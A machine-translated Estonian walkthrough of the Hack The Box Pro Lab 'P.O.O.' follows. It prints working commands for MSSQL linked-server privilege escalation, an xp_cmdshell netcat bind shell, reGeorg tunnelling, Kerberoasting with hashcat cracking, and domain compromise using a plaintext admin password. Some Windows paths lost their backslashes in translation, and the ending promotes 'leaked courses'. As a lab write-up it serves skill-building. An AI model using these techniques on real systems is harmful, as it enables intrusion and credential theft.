
Selles artiklis arutame, kuidas ĂŒletada mitte lihtsalt masinat, vaid tervet mini-laboratoriost. .
Nagu kirjas on, on P.O.O. mĂ”eldud oskuste testimiseks kĂ”igis rĂŒnnakute etappides vĂ€ikestes Active Directory keskkondades. EesmĂ€rk on kompenseerida juurdepÀÀsetavat hosti, tĂ”sta Ă”igusi ja lĂ”puks kompromiteerida kogu domeeni, kogudes seejuures 5 lippu.
Laboratoorsesse juurde pÀÀsemine toimub VPN kaudu. Soovitatav on mitte ĂŒhenduda tööarvutiga vĂ”i hostiga, kus on teie jaoks olulised andmed, kuna pÀÀsete privaatvĂ”rku, kus on inimesi, kes oskavad teatud kaubanduses midagi teha đ
Organisatsiooniline teave
Kuna soovite saada teavet uute artiklite, tarkvara ja muu kohta, olen loonud ja infotehnoloogia ja kĂŒberturvalisuse valdkonnas. Samuti vaatan teie isiklikud soovid, kĂŒsimused, ettepanekud ja soovitused .
Kogu teave on esitatud ĂŒksnes hariduslikel eesmĂ€rkidel. Selle dokumendi autor ei vastuta mingite kahjustuste eest, mis vĂ”ivad kellelegi tekkida selle dokumendi uurimise kĂ€igus saadud teadmiste ja meetodite kasutamisest.
Intro
See lÔppkÀik koosneb kahest masinast ja sisaldab 5 lippu.

Samuti antakse kirjelduse ja juurdepÀÀsetava hosti aadress.

Alustame!
Recon lipp
Sellel masinal on IP-aadress 10.13.38.11, mille lisasin /etc/hosts.
10.13.38.11 poo.htb
Esmalt skanneerime avatud porte. Kuna kÔikide portide skanneerimine nmapiga kestab kaua, teen seda esialgu masscaniga. Skenneerime kÔiki TCP ja UDP porte tun0 liideselt 500 paketti sekundis.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
NĂŒĂŒd kĂ€ivitame portide teenuseid sĂŒgavama teabe saamiseks skaneerimise -A valikuga.
nmap -A poo.htb -p80,1433 
Nii saame IIS ja MSSQL teenused. Sellega saame teada tegeliku DNS domeeninime ja arvuti nime. Veebiserveris tervitab meid IIS-i avaleht.

Vaatame ka kaustu. Selleks kasutan gobusterit. Seadistustes mÀÀrame lÔime arvu 128 (-t), URL (-u), sÔnastiku (-w) ja huvipakkuvad laiendid (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Nii on meil HTTP autentimine kaustas /admin ning ligipÀÀsetav lauateenuse hoidla fail .DS_Store. .DS_Store on fail, kus hoitakse kausta kasutusmÀÀranguid, nagu failide loetelu, ikoonide asukohad ja valitud taustapilt. Selline fail vÔib veebiarendajate juures sattuda veebiserveri kausta. Nii saame teavet katalooge sisu kohta. Selleks vÔib kasutada .
python3 dsstore_crawler.py -i http://poo.htb/ 
Me saame katalooge sisu. KÔige huvitavam siin on kataloog /dev, kust kahe haru abil saame vaadata lÀhtekoode ja db-faile. Kuid me saame teada ainult failide ja kataloogide nimede esimesed 6 tÀhte, kui teenus on haavatav IIS ShortName'i suhtes. Selle haavatavuse kontrollimiseks saab kasutada .

Ja leidsime ĂŒhe faili, mille nimi algab «poo_co». Ilma igasuguse plaanita valisin lihtsalt sĂ”nastikust kĂ”ik sĂ”nad, mis algavad «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtJa proovime wfuzz'i abil.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Ja leiame sobiva sÔna! Vaatame seda faili, salvestame sisselogimise andmed (tundub, et need on MSSQL-i omad).

Anname lipu ja edusamme on 20%.

Huh lipu
Ăhendume MSSQL-iga, kasutan DBeaverit.

Selles andmebaasis pole midagi huvitavat, loome SQL toimetaja ja vaatame, kes on kasutajad.
SELECT name FROM master..syslogins; 
Meil on kaks kasutajat. Vaatame oma Ôigusi.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Seega pole privileege. Vaatame seotud servereid, sellest meetodist kirjutasin ma pÔhjalikult. .
SELECT * FROM master..sysservers; 
Nii leiame veel ĂŒhe SQL Serveri. Kontrollime sellel serveril kĂ€ivitatavaid kĂ€sklusi openquery() abil.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Me saame isegi ehitada pÀringute puu.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Asi on selles, et kui me teeme pÀringu seotud serveris, siis pÀring tÀidetakse teise kasutaja kontekstis! Vaatame, millise kasutaja kontekstis me töötame seotud serveris.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
NĂŒĂŒd vaatame, millises kontekstis kĂ€ivitatakse pĂ€ringud seotud serverist meie poole!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Seega on see DBO kontekst, millel peavad olema kÔik Ôigused. Kontrollime Ôigusi seotud serveri pÀringu korral.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Nagu nÀha, on meil kÔik Ôigused! Loome siis oma administraatori. Kuid openquery kaudu ei lubata, teeme selle EXECUTE AT kaudu.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Ja nĂŒĂŒd ĂŒhendame uue kasutaja mandaadi kaudu, jĂ€lgime uut andmebaasi flag.

Anname selle lipu ja liigume edasi.

BackTrack lipu
Saame MSSQL abil shelli, kasutan impacket paketti mssqlclient.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Me peame paroolid hankima, ja esimene asi, millega me kokku puutusime, on veebisait. Seega on meil vaja veebiserveri konfiguratsiooni (mugavat shelli ei saa kĂ€itada, ilmselt töötab tulemĂŒĂŒr).

Kuid juurdepÀÀs on keelatud. Kuigi me saame faili lugeda MSSQL-i kaudu, peame lihtsalt teadma, millised programmeerimiskeeled on seadistatud. Ja MSSQL-i kataloogist leiame, et seal on Python.

Sel juhul ei ole web.config faili lugemisel mingeid probleeme.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Leitud mandaatidega siseneme /admin ja saame lipu.


Foothold lipu
Tegelikult on tulemĂŒĂŒri kasutamisel mĂ”ned ebamugavused, kuid vaadates vĂ”rgu seadistusi, mĂ€rkame, et kasutatakse ka IPv6-leke!

Lisame selle aadressi /etc/hosts.
dead:babe::1001 poo6.htb
Laseme jÀlle hosti skaneerida, kuid IPv6 protokolli kaudu.

Ja WinRM teenus on saadaval IPv6 kaudu. Ăhendame leitud mandaadidega.

Töölaual on lipp, anname selle edasi.

P00ned lipu
KĂ€ideldes hosti luure abil ei leia midagi erilist. Siis otsustati uuesti otsida mandaate (sellest teemast olen ka kirjutanud ). Kuid WinRM kaudu ei Ă”nnestunud mul kĂ”iki SPN-e sĂŒsteemist saada.
setspn.exe -T intranet.poo -Q *\* 
Teeme kÀskluse lÀbi MSSQL.

Antud viisil saame p00_hr ja p00_adm kasutajate SPN-id, mis tĂ€hendavad, et nad on haavatavad sellise rĂŒnnaku nagu Kerberoasting suhtes. ĂhesĂ”naga, me saame nende paroolide rĂ€si.
Esmalt on vaja saada stabiilne shelly MSSQL kasutajanime alt. Kuid kuna meie juurdepÀÀsu piiratakse, on meil ĂŒhendus hostiga ainult portide 80 ja 1433 kaudu. Aga on vĂ”imalus tunnelida liiklust 80 porta kaudu! Selleks kasutame . Laadime faili tunnel.aspx veebiserveri kodukausta â C:inetpubwwwroot.

Kuid proovides sellele juurde pÀÀseda, saame vea 404. See tÀhendab, et *.aspx failid ei tööta. Et failid selle laiendiga töötaksid, paigaldame ASP.NET 4.5 jÀrgmiselt.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Ja nĂŒĂŒd, kui ĂŒritame tunnel.aspx-i juurde pÀÀseda, saame vastuse, et kĂ”ik on tööks valmis.
![]()
KĂ€ivitame rakenduse kliendi osa, mis tegeleb liikluse edastamisega. Suuname kogu liikluse 5432 porti serverisse.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Ja kasutame proxychains'i, et suunata mistahes rakenduse liiklus meie proksist lÀbi. Lisame selle proksi konfiguratsioonifaili /etc/proxychains.conf.

NĂŒĂŒd laadime serverisse programmi , millega loome stabiilse bind shelli ja skripti , millega teeme Kerberoastingu rĂŒnnaku.

NĂŒĂŒd kĂ€ivitame MSSQL kaudu listeneri.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Ja ĂŒhendame meie proksi kaudu.
proxychains rlwrap nc poo.htb 4321 
Ja saame hakata hash'e saama.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Edasi tuleb need hash'id lahti muukida. Kuna rockyou sĂ”nastikus neid paroole ei olnud, kasutasin ma KĂIKI Seclists'is pakutud paroolide sĂ”nastikke. Lahti muukimiseks kasutame hashcat'i.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceJa leidsime mÔlemad paroolid, esimese sÔnastikust dutch_passwordlist.txt ja teise Keyboard-Combinations.txt.


NĂŒĂŒd on meil kolm kasutajat, lĂ€heme domeenikontrollerisse. Esiteks saame teada selle aadressi.

SuurepĂ€rane, me oleme tuvastanud domeeni kontrolleri IP-aadressi. Uurime nĂŒĂŒd, kes kĂ”ik on domeeni kasutajad ja kes neist on administraator. Laadime alla skripti PowerView.ps1, et teavet saada. SeejĂ€rel ĂŒhendame evil-winrm utiliidiga, mÀÀrates -s parameetris skripti asukoha. Ja siis laadime lihtsalt PowerView skripti ĂŒles.

NĂŒĂŒd on kĂ”ik tema funktsioonid meie kĂ€sutuses. Kasutaja p00_adm nĂ€ib olevat privileegidega, seega töötame tema kontekstis. Loome objekti PSCredential selle kasutaja jaoks.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNĂŒĂŒd, kĂ”ik Powershelli kĂ€sud, kus me mÀÀrame Creds, kĂ€ivitatakse p00_adm nime all. Vaatame kasutajate loendit ja AdminCount atribuudid.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Nii et meie kasutaja on tĂ”eliselt privileegitud. Uurime, millistes rĂŒhmades ta on.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
LÔplikult kinnitame, et kasutaja on domeeni administraator. See annab talle Ôiguse kaugjuurdepÀÀsuks domeenikontrollerile. Proovime sisse logida WinRM-i kaudu meie tunnelit kasutades. Mind hÀirisid reGeorg'i veateated evil-winrm'i kasutamisel.

Siis kasutame teist, lihtsamat WinRM-iga ĂŒhenduse loomiseks. Avame ja muudame ĂŒhenduse seadeid.

Proovime ĂŒhendust ja oleme sĂŒsteemis.

Aga lippu pole. Vaata kasutajat ja kontrollime töölaudu.

mr3ks-l leidsime lipu ja laboratoorium on 100% lÀbitud.

See on kÔik. Tagasisideks kommenteerige, kas Ôppisite sellest artiklist midagi uut ja kas see oli teile kasulik.
Saate liituda meiega . Seal leiate huvitavaid materjale, lekkinud kursuseid ja ka tarkvara. Kogume kogu, kus on inimesi, kes mĂ”istavad paljusid IT valdkondi, et me saaksime ĂŒksteisele igasugustes IT ja kĂŒberturbe kĂŒsimustes alatiabi anda.
Allikas: habr.com
